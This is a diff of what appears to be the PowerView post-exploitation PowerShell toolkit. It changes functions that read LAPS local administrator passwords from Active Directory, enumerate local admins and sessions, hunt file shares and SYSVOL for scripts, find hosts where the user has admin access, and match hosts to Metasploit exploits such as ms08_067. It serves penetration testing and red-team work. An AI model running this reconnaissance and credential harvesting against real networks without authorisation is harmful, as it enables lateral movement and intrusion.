- - .NOTES - Author: Karl Fosaaen - 2015, NetSPI - Version: Get-LAPSPasswords.psm1 v1.0 - Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" - function found in Carlos Perez's PoshSec-Mod project. The general idea is based off of - a Twitter conversation with @_wald0. The bones of this were borrowed (with permission) from - Scott Sutherland's Get-ExploitableSystems function. - - #> - [CmdletBinding()] - Param( - [Parameter(Mandatory=$false, - HelpMessage="Credentials to use when connecting to a Domain Controller.")] [System.Management.Automation.PSCredential] - [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(Mandatory=$false, - HelpMessage="Domain controller for Domain and Site that you want to query against.")] - [string]$DomainController, + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" + + $Shares = @() - [Parameter(Mandatory=$false, - HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")] - [int]$Limit = 1000, + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @("C$", "ADMIN$") + + # see if we're specifically including any of the normally excluded sets + if ($IncludeC) { + if ($IncludeAdmin) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("ADMIN$") + } + } + + if ($IncludeAdmin) { + if ($IncludeC) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("C$") + } + } - [Parameter(Mandatory=$false, - HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] - [ValidateSet("Subtree","OneLevel","Base")] - [string]$SearchScope = "Subtree", + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } - [Parameter(Mandatory=$false, - HelpMessage="Distinguished Name Path to limit search to.")] + # if there's a set of terms specified to search for + if ($TermList) { + ForEach ($Term in Get-Content -Path $TermList) { + if (($Term -ne $Null) -and ($Term.trim() -ne '')) { + $Terms += $Term + } + } + } - [string]$SearchDN - ) - Begin - { - if ($DomainController -and $Credential.GetNetworkCredential().Password) - { - $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password - $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain + if($Domain) { + $TargetDomains = @($Domain) } - else - { - $objDomain = [ADSI]"" - $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } - } - Process - { - # Status user - Write-Verbose "[*] Grabbing computer accounts from Active Directory..." - - # Create data table for hostnames, and passwords from LDAP - $TableAdsComputers = New-Object System.Data.DataTable - $TableAdsComputers.Columns.Add('Hostname') | Out-Null - $TableAdsComputers.Columns.Add('Stored') | Out-Null - $TableAdsComputers.Columns.Add('Readable') | Out-Null - $TableAdsComputers.Columns.Add('Password') | Out-Null - $TableAdsComputers.Columns.Add('Expiration') | Out-Null - - # ---------------------------------------------------------------- - # Grab computer account information from Active Directory via LDAP - # ---------------------------------------------------------------- - $CompFilter = "(&(objectCategory=Computer))" - $ObjSearcher.PageSize = $Limit - $ObjSearcher.Filter = $CompFilter - $ObjSearcher.SearchScope = "Subtree" - - if ($SearchDN) - { - $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") + # if we're hard-passed a set of shares + if($ShareList) { + ForEach ($Item in Get-Content -Path $ShareList) { + if (($Item -ne $Null) -and ($Item.trim() -ne '')) { + # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder + $Share = $Item.Split("`t")[0] + $Shares += $Share + } + } } + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$Terms) { + # search for interesting scripts on SYSVOL + $Terms = @('.vbs', '.bat', '.ps1') + } + } + else { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } - $ObjSearcher.FindAll() | ForEach-Object { + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } - # Setup fields - $CurrentHost = $($_.properties['dnshostname']) - $CurrentUac = $($_.properties['useraccountcontrol']) - $CurrentPassword = $($_.properties['ms-MCS-AdmPwd']) - if ($_.properties['ms-MCS-AdmPwdExpirationTime'] -ge 0){$CurrentExpiration = $([datetime]::FromFileTime([convert]::ToInt64($_.properties['ms-MCS-AdmPwdExpirationTime'],10)))} - else{$CurrentExpiration = "NA"} - - $PasswordAvailable = 0 - $PasswordStored = 1 + # script block that enumerates shares and files on a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) - # Convert useraccountcontrol to binary so flags can be checked - # http://support.microsoft.com/en-us/kb/305144 - # http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx - $CurrentUacBin = [convert]::ToString($CurrentUac,2) + Write-Verbose "ComputerName: $ComputerName" + Write-Verbose "ExcludedShares: $ExcludedShares" + $SearchShares = @() - # Check the 2nd to last value to determine if its disabled - $DisableOffset = $CurrentUacBin.Length - 2 - $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) + if($ComputerName.StartsWith("\\")) { + # if a share is passed as the server + $SearchShares += $ComputerName + } + else { + # if we're enumerating the shares on the target server first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { - # Set flag if stored password is not available - if ($CurrentExpiration -eq "NA"){$PasswordStored = 0} + $NetName = $Share.shi1_netname + $Path = '\\'+$ComputerName+'\'+$NetName - if ($CurrentPassword.length -ge 1){$PasswordAvailable = 1} + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { - # Add computer to list if it's enabled - if ($CurrentDisabled -eq 0){ - # Add domain computer to data table - $TableAdsComputers.Rows.Add($CurrentHost,$PasswordStored,$PasswordAvailable,$CurrentPassword, $CurrentExpiration) | Out-Null + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $NetName.ToUpper()) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Debug "[!] No access to $Path" + } + } + } + } + } } - # Display results - $TableAdsComputers | Sort-Object {$_.Hostname} -Descending - } + ForEach($Share in $SearchShares) { + $SearchArgs = @{ + 'Path' = $Share + 'Terms' = $Terms + 'OfficeDocs' = $OfficeDocs + 'FreshEXEs' = $FreshEXEs + 'LastAccessTime' = $LastAccessTime + 'LastWriteTime' = $LastWriteTime + 'CreationTime' = $CreationTime + 'ExcludeFolders' = $ExcludeFolders + 'ExcludeHidden' = $ExcludeHidden + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + Find-InterestingFile @SearchArgs + } + } } - End - { - } -} + process { -function Invoke-EnumerateLocalAdmins { - <# - .SYNOPSIS - Enumerates members of the local Administrators groups - across all machines in the domain. - - Author: @harmj0y - License: BSD 3-Clause + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ExcludedShares' = $ExcludedShares + 'Terms' = $Terms + 'ExcludeFolders' = $ExcludeFolders + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + + # kick off the threaded script block + arguments + if($Shares) { + # pass the shares as the hosts so the threaded function code doesn't have to be hacked up + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + else { + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + } - .DESCRIPTION - This function queries the domain for all active machines with - Get-NetComputers, then for each server it queries the local - Administrators with Get-NetLocalGroup. + else { + if($Shares){ + $ComputerName = $Shares + } + elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - .PARAMETER HostList - List of hostnames/IPs to search. + $ComputerName | Where-Object {$_} | ForEach-Object { + Write-Verbose "Computer: $_" + $Counter = $Counter + 1 - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0. + Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential + } + } + } +} - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3. - .PARAMETER OutFile - Output results to a specified csv output file. +function Find-LocalAdminAccess { +<# + .SYNOPSIS - .PARAMETER Domain - Domain to query for systems. + Finds machines on the local domain where the current user has + local administrator access. Uses multithreading to + speed up enumeration. - .LINK - http://blog.harmj0y.net/ - #> + Author: @harmj0y + License: BSD 3-Clause - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + .DESCRIPTION - [string] - $HostList, + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it checks if the current user has local administrator + access using Invoke-CheckLocalAdminAccess. - [string] - $HostFilter, + Idea stolen from the local_admin_search_enum post module in + Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' - [Switch] - $NoPing, + .PARAMETER ComputerName - [UInt32] - $Delay = 0, + Host array to enumerate, passable on the pipeline. - [double] - $Jitter = .3, + .PARAMETER ComputerFile - [string] - $OutFile, + File of hostnames/IPs to search. - [string] - $Domain - ) + .PARAMETER ComputerFilter - begin { + Host filter name to query AD for, wildcards accepted. - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + .PARAMETER ComputerADSpath - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - Write-Verbose "[*] Running Invoke-EnumerateLocalAdmins with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + .PARAMETER NoPing - # random object for delay - $randNo = New-Object System.Random + Switch. Don't ping each host to ensure it's up before enumerating. - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } + .PARAMETER Delay - # delete any existing output file if it already exists - If ($OutFile -and (Test-Path -Path $OutFile)){ Remove-Item -Path $OutFile } + Delay between enumerating hosts, defaults to 0 - } + .PARAMETER Jitter - process{ + Jitter for the host delay, defaults to +/- 0.3 - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + .PARAMETER Domain - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } + Domain controller to reflect LDAP queries through. - $counter = 0 + .PARAMETER SearchForest - foreach ($server in $Hosts){ + Switch. Search all domains in the forest for target users instead of just + a single domain. - $counter = $counter + 1 + .PARAMETER Threads - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" + The maximum concurrent threads to execute. - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + .EXAMPLE - # grab the users for the local admins on this server - $users = Get-NetLocalGroup -HostName $server - if($users -and ($users.Length -ne 0)){ - # output the results to a csv if specified - if($OutFile){ - $users | export-csv -Append -notypeinformation -path $OutFile - } - else{ - # otherwise return the user objects - $users - } - } - else{ - Write-Verbose "[!] No users returned from $server" - } - } - } -} + PS C:\> Find-LocalAdminAccess + Find machines on the local domain where the current user has local + administrator access. -function Invoke-EnumerateLocalAdminsThreaded { - <# - .SYNOPSIS - Enumerates members of the local Administrators groups - across all machines in the domain. Uses multithreading to - speed up enumeration. + .EXAMPLE - Author: @harmj0y - License: BSD 3-Clause + PS C:\> Find-LocalAdminAccess -Threads 10 - .DESCRIPTION - This function queries the domain for all active machines with - Get-NetComputers, then for each server it queries the local - Administrators with Get-NetLocalGroup. + Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + .EXAMPLE - .PARAMETER HostList - List of hostnames/IPs to search. + PS C:\> Find-LocalAdminAccess -Domain testing - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + Find machines on the 'testing' domain where the current user has + local administrator access. - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + .EXAMPLE - .PARAMETER Domain - Domain to query for systems. + PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt - .PARAMETER OutFile - Output results to a specified csv output file. + Find which machines in the host list the current user has local + administrator access. - .PARAMETER MaxThreads - The maximum concurrent threads to execute. + .LINK - .LINK - http://blog.harmj0y.net/ - #> + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] [String[]] - $Hosts, + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - [string] - $HostList, + [String] + $ComputerFilter, - [string] - $HostFilter, + [String] + $ComputerADSpath, [Switch] $NoPing, - [string] + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] $Domain, - [string] - $OutFile, + [String] + $DomainController, + + [Switch] + $SearchForest, + [ValidateRange(1,100)] [Int] - $MaxThreads = 20 + $Threads ) begin { - If ($PSBoundParameters['Debug']) { + if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + # random object for delay + $RandNo = New-Object System.Random - Write-Verbose "[*] Running Invoke-EnumerateLocalAdminsThreaded with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" + + if(!$ComputerName) { + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter } - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $OutFile) + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping) - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } - if($up){ - # grab the users for the local admins on this server - $users = Get-NetLocalGroup -HostName $server - if($users -and ($users.Length -ne 0)){ - # output the results to a csv if specified - if($OutFile){ - $users | export-csv -Append -notypeinformation -path $OutFile - } - else{ - # otherwise return the user objects - $users - } - } - else{ - Write-Verbose "[!] No users returned from $server" + if($Up) { + # check if the current user has local admin access to this server + $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + if ($Access) { + $ComputerName } } } - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + } - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 + process { - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) } - } - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams } - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - $counter = 0 + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - $jobs = @() - $ps = @() - $wait = @() + ForEach ($Computer in $ComputerName) { - $counter = 0 - } + $Counter = $Counter + 1 - process { + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } } + } +} - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" - foreach ($server in $Hosts){ - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" +function Get-ExploitableSystem { +<# + .Synopsis - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. - # create a "powershell pipeline runner" - $ps += [powershell]::create() + .DESCRIPTION - $ps[$counter].runspacepool = $pool + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. The script filters out disabled + domain computers and provides the computer's last logon time to help determine if it's been + decommissioned. Also, since the script uses data tables to output affected systems the results + can be easily piped to other commands such as test-connection or a Export-Csv. - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('OutFile', $OutFile) + .PARAMETER ComputerName - # start job - $jobs += $ps[$counter].BeginInvoke(); + Return computers with a specific name, wildcards accepted. - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 - } - } + .PARAMETER SPN - end { + Return computers with a specific service principal name, wildcards accepted. - Write-Verbose "Waiting for scanning threads to finish..." + .PARAMETER OperatingSystem - $waitTimeout = Get-Date + Return computers with a specific operating system, wildcards accepted. - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } + .PARAMETER ServicePack - # end async call - for ($y = 0; $y -lt $counter; $y++) { + Return computers with a specific service pack, wildcards accepted. - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) + .PARAMETER Filter - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } - } - $pool.Dispose() - } -} + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .EXAMPLE + + The example below shows the standard command usage. Disabled system are excluded by default, but + the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't + logged on for two or more weeks it's been decommissioned. + PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize + [*] Grabbing computer accounts from Active Directory... + [*] Loading exploit list for critical missing patches... + [*] Checking computers for vulnerable OS and SP levels... + [+] Found 5 potentially vulnerable systems! + ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE + ------------ --------------- ----------- --------- --------- --- + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + + .EXAMPLE + + PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation + + How to write the output to a csv file. + .EXAMPLE -function Invoke-HostEnum { - <# - .SYNOPSIS - Runs all available enumeration methods on a given host. + PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping + + Return a set of live hosts from the testlab.local domain + + .LINK + + http://www.netspi.com + https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 + + .NOTES + + Author: Scott Sutherland - 2015, NetSPI + Modifications to integrate into PowerView by @harmj0y + Version: Get-ExploitableSystem.psm1 v1.1 + Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" + function found in Carols Perez's PoshSec-Mod project. The general idea is based off of + Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. +#> + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', - .DESCRIPTION - This function runs all available functions on a given host, - including querying AD for host information, finding active - sessions on a host, logged on users, available shares, whether - the current user has local admin access, the local groups, - local administrators, and local services on the target. + [String] + $SPN, - .PARAMETER HostName - The hostname to enumerate. + [String] + $OperatingSystem = '*', - .EXAMPLE - > Invoke-HostEnum WINDOWSXP - Runs all enumeration methods on the WINDOWSXP host - #> + [String] + $ServicePack = '*', - [CmdletBinding()] - param( - [Parameter(Mandatory = $True)] - [string] - $HostName - ) + [String] + $Filter, - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [Switch] + $Ping, - "[+] Invoke-HostEnum Report: $HostName" + [String] + $Domain, - # Step 1: get any AD data associated with this server - $adinfo = Get-NetComputers -Hostname "$HostName*" -FullData | Out-String - "`n[+] AD query for: $HostName" - $adinfo.Trim() + [String] + $DomainController, - # Step 2: get active sessions for this host and display what we find - $sessions = Get-NetSessions -HostName $HostName - if ($sessions -and ($sessions.Count -ne 0)){ - "`n[+] Active sessions for $HostName :" - } - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '')){ - "[+] $HostName - Session - $username from $cname - Active: $activetime - Idle: $idletime" - } - } + [String] + $ADSpath, - # Step 3: get any logged on users for this host and display what we find - $users = Get-NetLoggedon -HostName $HostName - if ($users -and ($users.Count -ne 0)){ - "`n[+] Users logged onto $HostName :" - } - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain + [Switch] + $Unconstrained + ) - if ($username -ne $null){ - # filter out $ machine accounts - if ( !$username.EndsWith("$") ) { - "[+] $HostName - Logged-on - $domain\\$username" - } - } - } + Write-Verbose "[*] Grabbing computer accounts from Active Directory..." - # step 4: see if we can get the last loggedon user by remote registry - $lastUser = Get-LastLoggedOn -HostName $HostName - if ($lastUser){ - "`n[+] Last user logged onto $HostName : $lastUser" - } + # Create data table for 